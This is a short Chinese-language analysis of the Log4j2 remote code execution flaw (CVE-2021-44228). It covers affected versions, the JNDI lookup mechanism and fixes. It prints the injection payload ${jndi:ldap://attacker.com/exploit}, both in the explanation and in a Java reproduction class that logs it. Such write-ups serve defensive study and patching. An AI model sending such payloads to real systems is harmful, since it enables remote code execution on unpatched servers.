Log4j2 远程代码执行漏洞深度分析
漏洞概述
Apache Log4j2 是一个广泛使用的 Java 日志框架。2021年11月24日,阿里云安全团队向 Apache 官方报告了 Log4j2 远程代码执行漏洞(CVE-2021-44228)。
影响范围
- Apache Log4j 2.x <= 2.14.1
漏洞原理
漏洞存在于 Log4j2 的 JNDI lookup 功能中。当应用程序记录包含 ${jndi:ldap://attacker.com/exploit} 格式的日志时,Log4j2 会尝试从指定的 LDAP 服务器加载并执行恶意代码。
复现步骤
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Log4jRCE {
private static final Logger logger = LogManager.getLogger(Log4jRCE.class);
public static void main(String[] args) {
// 恶意输入
String maliciousInput = "${jndi:ldap://attacker.com/exploit}";
logger.info("User input: {}", maliciousInput);
}
}
修复方案
- 升级到 Log4j 2.15.0 或更高版本
- 设置系统属性
log4j2.formatMsgNoLookups=true - 设置环境变量
LOG4J_FORMAT_MSG_NO_LOOKUPS=true
参考链接
- https://logging.apache.org/log4j/2.x/security.html